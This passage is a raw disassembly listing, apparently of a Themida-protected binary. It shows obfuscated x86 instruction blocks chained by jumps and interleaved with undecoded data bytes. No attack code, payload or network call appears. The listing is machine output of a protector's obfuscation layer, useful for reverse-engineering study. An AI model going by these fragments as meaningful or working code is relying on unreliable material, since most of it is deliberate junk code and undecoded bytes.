loc_55E317:				; CODE XREF: Themida_:005618ADj
		add	ebp, 517B31B6h
		add	ebp, edx
		jmp	loc_553AC2
; ---------------------------------------------------------------------------
		dd 5E8768h, 240C8900h, 0A42F7FB9h, 0EC81492Eh, 4, 0E9241C89h
		dd 6C28h, 2C681h, 34870000h, 1BE95C24h,	5900000Ch, 0C06EE955h
		dd 0C681FFFFh, 2C634CC0h, 37E9F001h
		db 44h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E363:				; CODE XREF: Themida_:00560FA9j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		push	esi
		mov	esi, 49CB5229h
		neg	esi
		dec	esi
		push	ecx
		jmp	loc_55CC78
; ---------------------------------------------------------------------------
aMvicsml	db 'VmL',0
		dd 0C8B5A00h, 7E5E924h,	34870000h, 30FF5C24h, 0FF1475E9h
		dd 5DE950FFh
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E3A7:				; CODE XREF: Themida_:00552F12j
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		push	esp
		jmp	loc_55B9DC
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 241C3124h, 8B241C33h, 0A4E92424h, 30000052h,	885266EAh
		dd 88D2F6EAh, 865A66D5h, 76C3E9EAh, 2489FFFFh, 7818E924h
		dd 0E901FFFFh, 0FFC318E9h, 0E38953FFh, 4C381h, 0EB810000h
		dd 4, 5C241C87h, 89240489h, 0A53DE9E0h,	0FE9FFFFh
		db 14h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E407:				; CODE XREF: Themida_:0054FF22j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_555D97
; ---------------------------------------------------------------------------
		dw 0F389h
		dd 5E2434FFh, 0C104C483h, 7EE907EBh
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E423:				; CODE XREF: Themida_:00555E2Fj
		add	eax, 60DF79D7h
		jmp	loc_5601A9
; ---------------------------------------------------------------------------


loc_55E42D:				; CODE XREF: Themida_:00550C7Ej
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_55A2C4
; ---------------------------------------------------------------------------


loc_55E446:				; CODE XREF: Themida_:00562F08j
		xor	ecx, ebx
		pop	ebx
		sub	ecx, 7BD242B2h
		add	ecx, edi
		jmp	loc_5538F0
; ---------------------------------------------------------------------------
		dw 4040h
		dd 73E8E955h, 0FF5CFFFFh, 148B2434h, 63EE924h, 0C2810000h
		dd 0AB2BB729h, 77E9D621h, 81FFFFB8h, 4C4h, 4EB8100h, 33000000h
		dd 1C31241Ch, 0D024E924h, 0EB81FFFFh, 187761A2h, 0E930FF66h
		dd 4F84h, 2EFC15Ch, 10D8EF81h, 0C7811053h, 1, 4BF9C781h
		dd 0FA0164ACh, 5F2434FFh, 81E38953h, 4C3h, 0A83BE900h
		dd 0E230FFFFh, 0FF9F96E9h, 89F581FFh, 0C14CB61Bh, 6E906E5h
		dd 0B2FFFF40h, 80DAF63Eh, 8AE994EAh
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E4E7:				; CODE XREF: Themida_:00560BCAj
		push	1697h
		mov	[esp], ebp
		push	77897227h
		pop	ebp
		push	eax
		jmp	loc_54FF0B
; ---------------------------------------------------------------------------
		db 5Dh
		dd 8DE9F901h, 6800005Ah, 799Fh,	56240489h, 360C6850h, 0C3E913FBh
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E517:				; CODE XREF: Themida_:00550560j
		pop	dword ptr [esp]
		push	eax
		mov	eax, 79D80BF5h
		jmp	loc_555E25
; ---------------------------------------------------------------------------
		db 0B5h, 55h, 80h
		dd 1E942C3h, 8BFFFF78h,	0C4812414h, 4, 0FFA619E9h, 0FFCD01FFh
		dd 0ECE92434h
		db 30h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E547:				; CODE XREF: Themida_:0055FE07j
		push	esi
		mov	esi, 168D18BDh
		shl	esi, 1
		shr	esi, 7
		jmp	loc_54FF3F
; ---------------------------------------------------------------------------


loc_55E557:				; CODE XREF: Themida_:00559E64j
		dec	eax
		and	eax, 0F0A0D3Fh
		add	eax, 5A9E6128h
		dec	eax
		add	eax, 0BDE6015Ch
		xor	edi, eax
		pop	eax
		push	dword ptr [esp]
		jmp	loc_553FC0
; ---------------------------------------------------------------------------
		db 35h
		dd 50283307h, 8958C789h, 0F9315FF9h, 0FF194AE9h, 55BD55FFh
		dd 523DAA39h, 2178F168h, 0E2815A42h, 26657C7Ah,	0D7F7FA87h
		dd 0E95A5752h, 0FFFF85C3h
; ---------------------------------------------------------------------------


loc_55E5A4:				; CODE XREF: Themida_:00558A8Cj
		mov	[esp], ecx
		push	ebx
		mov	bl, 34h
		mov	ch, bl
		jmp	loc_550F09
; ---------------------------------------------------------------------------


loc_55E5B1:				; CODE XREF: Themida_:0055BD0Ej
		pop	esp
		mov	[esp], edi
		mov	edi, 10633D67h
		jmp	loc_55BF80
; ---------------------------------------------------------------------------
		db 81h
		dd 102189C5h, 6658E937h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E5CA:				; CODE XREF: Themida_:0055C082j
		mov	[esp], cx
		mov	ch, 64h
		sub	al, ch
		jmp	loc_55C5BF
; ---------------------------------------------------------------------------
		db 81h
		dd 1E9h, 6E1C100h, 0F7FFE983h, 555E68D9h, 2C890000h, 9685BD24h
		dd 0C18160CCh, 8213FF7h, 40CE981h, 0E9011D87h, 40CC181h
		dd 0E9811D87h, 8213FF7h, 244C015Dh, 7464E904h, 8B66FFFFh
		dd 8957240Ch, 4B29E9E7h, 0FF55FFFFh, 8B042474h,	0C483242Ch
		dd 24048F04h, 5724248Bh, 5755E789h, 5A42B850h, 3EE91B3Ch
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E643:				; CODE XREF: Themida_:005501D1j
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5627F0
; ---------------------------------------------------------------------------
		dd 0FF17C680h, 0E9592434h, 0FFFF7BEFh
; ---------------------------------------------------------------------------


loc_55E668:				; CODE XREF: Themida_:005500C3j
		mov	edx, 0FFFFFFFFh
		add	ebp, 18A715A8h
		jmp	loc_55E28D
; ---------------------------------------------------------------------------
		dd 4246C01h, 4246C81h, 79FB2EE4h, 5D2434FFh, 7395E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E68E:				; CODE XREF: Themida_:00555874j
		push	161Ah
		jmp	loc_5549AE
; ---------------------------------------------------------------------------


loc_55E698:				; CODE XREF: Themida_:0055AA31j
		pop	eax
		mov	esi, [esp]
		add	esp, 4
		add	edx, ebx
		pop	ebx
		jmp	loc_5512D7
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 81000000h, 4ECh, 77A3E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E6BA:				; CODE XREF: Themida_:00553082j
		mov	edx, 78917782h
		shl	edx, 7
		jmp	loc_55208B
; ---------------------------------------------------------------------------
		db 5Eh
		dd 48BC201h, 4C48124h, 0E9000000h, 0FFFF1803h, 0AC00C268h
		dd 11E95B52h, 5500005Bh, 5B67C9BDh, 0AC84E922h,	0EF81FFFFh
		dd 79A979AEh, 29AFC781h, 0CF012997h, 29AFEF81h,	93E92997h
		dd 1FFFFB4h, 0FF5D5FFBh, 0EBE92434h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E713:				; CODE XREF: Themida_:0055A7C7j
		pop	ecx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5528D3
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 4ED8100h, 0E9000000h, 0FFFF51E7h, 3177E681h, 0EE8112E8h
		dd 6FE33EABh, 4DA1E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E74A:				; CODE XREF: Themida_:00555BF1j
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_558705
; ---------------------------------------------------------------------------
		db 66h
		dd 8124148Bh, 2C4h, 0BCBAE900h,	34FFFFFFh, 243C8B24h, 4C481h
		dd 0C4810000h, 4, 716DB951h, 0BF5767A0h, 1E5A73CEh, 815FF931h
		dd 5FD61C1h, 8BCF0186h,	0C483240Ch, 2A236804h, 1C890000h
		dd 4BB24h, 0DF290000h, 0E9241C8Bh, 0FFFF9919h, 4C58159h
		dd 33000000h, 2C31242Ch, 242C3324h, 5D0F75Ch, 941DB7FEh
		dd 58E0EF81h, 0C7017329h, 58E0C781h, 5A587329h,	31243C33h
		dd 3C33243Ch, 0F42BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E7EE:				; CODE XREF: Themida_:00559FEDj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_557F67
; ---------------------------------------------------------------------------


loc_55E804:				; CODE XREF: Themida_:00553D3Ej
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_563E1A
; ---------------------------------------------------------------------------


loc_55E818:				; CODE XREF: Themida_:00564056j
		mov	edi, 4
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5571DD
; ---------------------------------------------------------------------------


loc_55E82E:				; CODE XREF: Themida_:00551306j
		mov	ebp, [esp]
		jmp	loc_55105C
; ---------------------------------------------------------------------------
		dw 0F281h
aQ@HD		db 'q@ )h#D',0
		dd 241C8900h, 521682BBh, 98EA8169h, 293A0252h, 98C281DAh
		dd 5B3A0252h, 0F4B2EA81h, 7E9033Ch, 8BFFFFEDh, 1AE9242Ch
		dd 66FFFFB9h, 68240C8Bh, 6958h,	68241C89h, 4356h, 55242489h
		dd 4BDh, 78F06800h, 14890000h, 9AE95724h
		db 61h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E893:				; CODE XREF: Themida_:00552D87j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6E4D25F8h
		sub	eax, edi
		pop	edi
		sub	eax, 263B1381h
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5599C2
; ---------------------------------------------------------------------------
		dw 840Fh
		dd 0AF1h, 3FFE68h, 28636800h, 1EE90000h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E8CF:				; CODE XREF: Themida_:00553F4Cj
		mov	[esp], ecx
		mov	ecx, esp
		push	ebx
		jmp	loc_562301
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 182750D5h, 1C2F381h,	0DE89E772h, 83241C8Bh, 46E904C4h
		dd 8100004Eh, 1B32E6F1h, 8E9C120h, 2369C181h, 0CB294BF5h
		dd 60F26859h, 3C890000h, 6FF3BF24h, 0E7C101D8h,	2EFC107h
		dd 25DAF781h, 0EF8107BAh, 0C456BC76h, 295FFB01h, 2434FFD8h
		dd 4116E9h, 0DC885000h,	4245C8Ah, 0FFF15EE9h, 4C181FFh
		dd 68000000h, 1CCCh, 0E9241489h, 172Fh,	0BE2AD3B9h, 53D1F731h
		dd 634B5FBBh, 0F6EB8138h, 8130570Eh, 0B50C71E3h, 0EB814379h
		dd 0B81602E4h, 0FFC930E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E975:				; CODE XREF: Themida_:0055DBE6j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_559E59
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 6E4068h, 24148900h, 0C281E289h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebp
		push	471C7BE5h
		pop	ebp
		jmp	loc_553ED7
; ---------------------------------------------------------------------------
		dd 4C481h, 48F0000h, 24248B24h,	3FBA68h, 242C8900h, 73F10BDh
		dd 58685568h, 5D435613h, 493DC581h, 0ED81022Dh,	0F4F3AB4h
		dd 0FFAB0AE9h, 0EC8157FFh, 4, 24048F54h, 4240481h, 5F000000h
		dd 6D2F68h, 241C8900h, 4BBh, 8BDF0100h,	0CFE9241Ch, 8B000021h
		dd 0C4812404h, 4, 8E7FB951h, 0C831950Eh, 0FFC1BBE9h, 2434FFFFh
		dd 8324148Bh, 0C48104C4h, 4, 35D4E952h,	0BD55FFFFh, 6B06158Ch
		dd 0FF33E3E9h, 6093BFFFh, 0C78171B9h, 0B100B8Fh, 5741F781h
		dd 0D8E91C7Eh, 81FFFF88h, 4C4h,	28B90400h, 0E9B92CD8h
		dd 11Bh, 3F303835h, 58C129E0h, 4896E9h,	244C0100h, 48B5904h
		dd 4C48124h, 0E9000000h, 271Eh,	0E9028F64h, 0FFFF0D86h
; ---------------------------------------------------------------------------


loc_55EA90:				; CODE XREF: Themida_:00559DB6j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 37164EE0h
		jmp	loc_5508F0
; ---------------------------------------------------------------------------
		dd 4C481h, 0EC810000h, 4, 68242C89h, 1430h, 24048F54h
		dd 8904EC83h, 6856241Ch, 39253A43h, 15C8E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EAD2:				; CODE XREF: Themida_:0056159Dj
		mov	ebx, 1Ch
		push	edi
		jmp	loc_552646
; ---------------------------------------------------------------------------
		db 89h,	0CDh, 8Bh
		dd 0C481240Ch, 4, 34FFEB89h, 2434FF24h,	0E189515Dh, 4C181h
		dd 0C1830000h, 240C8704h, 0E789575Ch, 0FFC638E9h, 3BE368FFh
		dd 4890000h, 4EC8124h, 89000000h, 0EC83243Ch, 24048904h
		dd 576B9D68h, 24048B26h, 4C481h, 0EC830000h, 24148904h
		dd 565DE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EB3A:				; CODE XREF: Themida_:0055568Ej
		xchg	eax, [esp]
		pop	esp
		jmp	loc_550341
; ---------------------------------------------------------------------------
		db 0F7h
		dd 16F181D9h, 29CD7913h, 0A575E9CDh, 0CB87FFFFh, 0A6BBB951h
		dd 0CB29F3B9h, 5BDE0159h, 4EC81h, 0C890000h, 2DAFB924h
		dd 0C9810D8Bh, 2400074Ah, 0AFE9D1F7h, 83FFFF6Ch, 0ECE904C4h
		dd 51000004h, 0CD80DEB5h, 0F651660Fh, 6601245Ch, 0E9CDFE59h
		dd 0FFFF3A22h, 8B243487h, 8B662424h, 12E9240Ch,	8B000001h
		dd 89572414h, 296EE9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EBB2:				; CODE XREF: Themida_:005511F6j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5603D9
; ---------------------------------------------------------------------------


loc_55EBC2:				; CODE XREF: Themida_:005540D0j
		push	ebp
		jmp	loc_5619BC
; ---------------------------------------------------------------------------
		dd 815AD131h, 0CA4C8FEFh, 81CF0110h, 0CA4C8FC7h, 2434FF10h
		dd 0FFA0A8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EBE1:				; CODE XREF: Themida_:00561372j
		add	edx, 4
		add	edx, 4
		push	1926h
		jmp	loc_55E275
; ---------------------------------------------------------------------------


loc_55EBF4:				; CODE XREF: Themida_:0055D5A5j
		pop	eax
		add	edx, ebx
		jmp	loc_561ADC
; ---------------------------------------------------------------------------
		dd 54242C89h, 4C5815Dh,	52000000h, 3F7FB850h, 21E956A3h
		dd 89FFFFBFh, 0F18158C1h, 1D232822h, 2E18E181h,	0E18128C1h
		dd 66482BEEh, 0FF6178E9h, 0BF5751FFh, 4, 295FF989h, 240C8BC8h
		dd 4C481h, 4870000h, 24248B24h,	83242C89h, 348904ECh, 2F685324h
		dd 5B22997Fh, 6FE2F381h, 0EB810C4Dh, 13B07B6Dh,	4EC81h
		dd 1EE90000h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EC6F:				; CODE XREF: Themida_:0055DA6Cj
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	41E4h
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		jmp	loc_55C01C
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 3033316Fh, 0E95AD731h, 0FFFF4D5Ch
; ---------------------------------------------------------------------------


loc_55ECB0:				; CODE XREF: Themida_:005543AAj
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5539E7
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 5813BF57h, 0CF813988h, 404739BAh, 8649B850h,	0C7018630h
		dd 0FFC387E9h, 24048BFFh, 4C481h, 27BF0000h, 0E9E942D8h
		dd 0FFFFA34Eh, 4EC81h, 0C890000h, 72626824h, 4890000h
		dd 4EC8324h, 88240C89h,	0EE8852DDh, 82E9F088h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ED0B:				; CODE XREF: Themida_:0055AA88j
		xor	dword ptr [esp], 1E7449D0h
		pop	edi
		xor	edi, 1E7449D0h
		jmp	loc_551D8D
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 4BA52h, 0D5010000h, 242C875Ah, 0FF4D5BE9h, 8048B2FFh
		dd 0EAC0F4C2h, 1DEA8008h, 0E95AD300h, 0FFFFA42Eh
; ---------------------------------------------------------------------------


loc_55ED48:				; CODE XREF: Themida_:00562306j
		pop	ebx
		and	ebx, 0E316970h
		shl	ebx, 3
		xor	ebx, 30890904h
		add	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_560BEA
; ---------------------------------------------------------------------------
		dw 1C89h
aA7		db '$7',0
		db 4Ah,	51h, 0E9h
		dd 0FFFF5440h, 5CD6E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ED76:				; CODE XREF: Themida_:00557114j
		mov	ebx, 27FA3F4Eh
		jmp	loc_553DC2
; ---------------------------------------------------------------------------


loc_55ED80:				; CODE XREF: Themida_:00560CACj
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_556534
; ---------------------------------------------------------------------------
		db 86h
		dd 0FD30242Ch, 0FD30EF30h, 20A2E9h
		db 0
; ---------------------------------------------------------------------------


loc_55EDA5:				; CODE XREF: Themida_:00550C30j
		sub	eax, ecx
		jmp	loc_5574FF
; ---------------------------------------------------------------------------
		dd 5EF7815Fh, 8125091Dh, 0A936E4F7h, 0C147471Bh, 0F78103EFh
		dd 0E9B8C0Ch, 8B5FF801h, 0E957242Ch, 0FFFF38C0h
; ---------------------------------------------------------------------------


loc_55EDD0:				; CODE XREF: Themida_:0055BBCDj
		push	ebp
		jmp	loc_5540D5
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 10E0E9h, 4BE00h, 0F5290000h,	0CE61E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EDEA:				; CODE XREF: Themida_:0055C9BEj
		pop	esi
		not	esi
		push	ebx
		mov	ebx, 0A6C6766h
		sub	ebx, 0A9170D64h
		sub	esi, ebx
		mov	ebx, [esp]
		jmp	loc_5644CA
; ---------------------------------------------------------------------------
		db 81h
		dd 0D14558EAh, 2EC78161h, 112D849h, 5107E9D7h, 18BE0000h
		dd 0BA75E076h, 0A3A0E8Fh, 0E95EF201h, 0FFFFBC72h, 0F704EFC1h
		dd 9CEF81D7h, 81588417h, 4558E0C7h, 0E9F9015Ah,	1EC3h
		dd 24048B66h, 5FD76855h, 8F540000h, 0C8E92404h,	66000005h
		dd 68240C8Bh, 792Fh, 0FF5AA1E9h, 2EC83FFh, 0FFCADBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EE69:				; CODE XREF: Themida_:00562090j
		not	edx
		push	ecx
		mov	ecx, 32F86C32h
		and	edx, ecx
		jmp	loc_55C1C7
; ---------------------------------------------------------------------------
		dd 4C581h, 0EC830000h, 242C8904h, 42474FFh, 83242C8Bh
		dd 48F04C4h, 0BB535C24h, 0C41569Ch, 8102E3C1h, 808842C3h
		dd 5BDA31C7h, 525AD309h, 0FFCEBDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EEAD:				; CODE XREF: Themida_:005517D5j
		pop	dword ptr [esp]
		jmp	loc_56484B
; ---------------------------------------------------------------------------


loc_55EEB5:				; CODE XREF: Themida_:00550406j
		sub	ebx, edi
		jmp	loc_556EF2
; ---------------------------------------------------------------------------


loc_55EEBC:				; CODE XREF: Themida_:005548CBj
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_5615DE
; ---------------------------------------------------------------------------


loc_55EED7:				; CODE XREF: Themida_:005579B0j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	77F4h
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_554F4D
; ---------------------------------------------------------------------------


loc_55EEF0:				; CODE XREF: Themida_:00550A55j
		add	edx, 102B061Eh
		add	edx, ecx
		sub	edx, 102B061Eh
		jmp	loc_55CD7B
; ---------------------------------------------------------------------------
		db 0D1h
		dd 669CE9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EF0A:				; CODE XREF: Themida_:0055FC24j
		pop	edx
		pop	ebp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, 7C6F7133h
		sub	ebp, 6341752Ch
		add	ebp, ebx
		push	ebx
		mov	ebx, 46A928E8h
		xor	ebx, 25E85DC4h
		jmp	loc_553DE7
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4244481h, 3D47C3Dh, 4245C01h, 89AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55EF49:				; CODE XREF: Themida_:0055623Ej
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		jmp	loc_55BAA9
; ---------------------------------------------------------------------------
		db 35h
		dd 33DD5E37h, 640DBD55h, 0E831480Dh, 614EE95Dh,	8B66FFFFh
		dd 0C3E92404h, 89FFFFBAh, 0E189240Ch, 71346856h, 815E464Dh
		dd 645095E6h, 0DF68160h, 5670944Fh, 5E2414F7h, 8103EEC1h
		dd 0E5FC18F6h, 5EF10119h, 5104C183h, 42474FFh, 24048F59h
		dd 6824248Bh, 666Ch, 81243C89h,	4ECh, 241C8900h, 4EC81h
		dd 14890000h, 277CBA24h, 0E2C134C8h, 6C2AE904h,	421FFFFh
		dd 3BE99C24h, 8BFFFF08h, 0C4812404h, 4,	4685159h, 59000000h
		dd 0B7FEE81h, 0CE0141D6h, 0B7FC681h, 1E941D6h, 8B00001Bh
		dd 0C4812414h, 4, 0FFCF68E9h, 4C381FFh,	52000000h, 0FF0E68E9h
		dd 243C87FFh, 2414895Ch, 0C281E289h, 4,	4BB53h,	0C2810000h
		dd 7B652104h, 0FFDFEAE9h, 0F6815EFFh, 24645A64h, 4CA2E957h
		dd 0C581FFFFh, 0E2837C5Bh, 0FFC9D6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F051:				; CODE XREF: Themida_:005523ACj
		pop	ebp
		jmp	loc_555D5E
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4E981h, 0C870000h, 62E95C24h, 5B000056h, 0E1E9515Eh
		dd 88FFFFF8h, 24048BC5h, 4C481h, 52500000h, 314E9h, 0FBE95900h
		dd 8BFFFF28h, 8952242Ch, 56A3E9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F092:				; CODE XREF: Themida_:00557367j
		add	ebp, 4
		jmp	loc_55C714
; ---------------------------------------------------------------------------


loc_55F09D:				; CODE XREF: Themida_:00558429j
		add	esi, 4
		sub	esi, 4
		jmp	loc_55BFBB
; ---------------------------------------------------------------------------


loc_55F0AE:				; CODE XREF: Themida_:0055BA22j
		mov	eax, ebx
		jmp	loc_5579F8
; ---------------------------------------------------------------------------


loc_55F0B5:				; CODE XREF: Themida_:005601CCj
		mov	[esp], ebp
		jmp	loc_55193B
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 23h
		dd 80FFFF71h, 0EE80CFE6h, 0FAE68001h, 0E903EEC0h, 0FFFF1CCAh
		dd 0E9243C89h, 0FFFF4F47h, 240C8966h, 536659B1h, 0D8283EB3h
		dd 0C8005B66h, 0FF3229E9h, 0E9E588FFh, 0FFFFDBF8h, 3F33BE66h
		dd 90C68166h, 2EC83A5h,	241C8966h, 78CE6866h, 241C8B66h
		dd 2C481h, 0EC830000h, 24348904h, 0C681E689h, 4, 0E902EE83h
		dd 2D20h, 237768h, 24148900h, 0FF241CF7h, 34FF2434h, 6406E924h
		dd 8F68FFFFh, 8900002Dh, 0E0892404h, 106368h, 24148900h
		dd 4BAh, 3BFEE900h, 33BB0000h, 292C6721h, 0DEADE9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F16A:				; CODE XREF: Themida_:0055556Cj
		add	eax, 0E5F4E038h
		mov	esi, eax
		jmp	loc_558816
; ---------------------------------------------------------------------------


loc_55F176:				; CODE XREF: Themida_:0055955Dj
		pop	esi
		inc	ecx
		jmp	loc_553894
; ---------------------------------------------------------------------------


loc_55F17D:				; CODE XREF: Themida_:005536DCj
		pop	ebx
		add	esp, 4
		sub	al, 0B5h
		add	al, 3Ah
		sub	al, cl
		sub	esp, 4
		jmp	loc_560BBE
; ---------------------------------------------------------------------------
		db 56h
		dd 59194E68h, 16ACE97Ah, 1C310000h, 241C3324h, 8924248Bh
		dd 8B54240Ch, 8956240Ch, 4C681E6h, 83000000h, 348704C6h
		dd 35A3E924h, 2C89FFFFh, 735BBD24h, 0CD815584h,	1CA72B52h
		dd 8105EDC1h, 86E42C5h,	7F55E95Fh, 5350FFFFh, 507AE9h
		dd 2AC28100h, 31A68AC5h, 24148BD1h, 0E904C483h,	0FFFF3161h
		dd 51242C89h, 0FFEC31E9h, 5F26BFFFh, 0FA016300h, 2434FF5Fh
		dd 0E7DE9h, 4C48300h, 2C281h, 14870000h, 24248B24h, 0FFE03EE9h
		dd 56B850FFh, 0F7653376h, 422335D8h, 71E96F70h,	0C1FFFF81h
		dd 64E904E6h
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F23B:				; CODE XREF: Themida_:00555F1Cj
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_55272B
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 4BB53h, 0DA010000h, 0FFB717E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F25D:				; CODE XREF: Themida_:0055674Ej
		add	esp, 4
		jmp	loc_5509D1
; ---------------------------------------------------------------------------


loc_55F268:				; CODE XREF: Themida_:0055AE9Ej
		pop	esi
		mov	edx, edi
		push	dword ptr [esp]
		jmp	loc_55FC1C
; ---------------------------------------------------------------------------


loc_55F273:				; CODE XREF: Themida_:005577E7j
		push	686F1C9Dh
		jmp	loc_5500E2
; ---------------------------------------------------------------------------
		db 0BEh, 1Bh, 62h
		dd 51E97819h, 81000017h, 3B4E51F3h, 2BD5533h, 2113343Bh
		dd 0BDFEE9EBh, 8758FFFFh, 685C2434h, 2E03h, 0FF6851E9h
		dd 47C781FFh, 89347423h, 243C8BF9h, 4C481h, 5B510000h
		dd 0FF2434FFh, 68592434h, 6FE4h, 89241489h, 4C281E2h, 0E9000000h
		dd 0FFFFE705h, 3FBEBBh,	38C4E912h, 0B4B80000h, 0E91F6D67h
		dd 0FFFF1E09h
; ---------------------------------------------------------------------------


loc_55F2EC:				; CODE XREF: Themida_:00562313j
		mov	ebp, 2BA45B3Fh
		mov	ecx, 2BA45B43h
		sub	ecx, ebp
		jmp	loc_5612EB
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 54h
		dd 293CAD0Dh, 54EB81CBh, 8B3CAD0Dh, 0C481240Ch,	4, 8B241C87h
		dd 4892424h, 2434FF24h,	5197E9h, 40500h, 0BF570000h, 4
		dd 875FF801h, 0EDE92404h, 89FFFF13h, 0A9B7241Ch, 8004EFC0h
		dd 0DDE940CFh, 53FFFF6Fh, 657760BBh, 5BD8894Ch,	0F11DE905h
		dd 40D0F747h, 2EB28605h, 0E9C72914h, 0FFFF2D12h, 0C7E9425Dh
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F36F:				; CODE XREF: Themida_:005584B4j
		pop	eax
		sub	ebp, 51900135h
		add	ebp, esi
		add	ebp, 51900135h
		jmp	loc_55D1EF
; ---------------------------------------------------------------------------
		db 2Dh
		dd 5BBD7DD2h, 0D205E829h, 5D5BBD7Dh, 118CE9h, 88EE8800h
		dd 0E2885AF4h, 5540E9h,	8BD80100h, 0C481241Ch, 4, 38428F50h
		dd 4EC8358h, 68242C89h,	76874B2Dh, 0EDC14D5Dh, 29CAE906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F3C6:				; CODE XREF: Themida_:005521A6j
		and	edx, 6F675ED3h
		xor	edx, 13580FAAh
		sub	edx, 325801A7h
		add	edi, edx
		pop	edx
		push	ecx
		push	esi
		mov	esi, 4
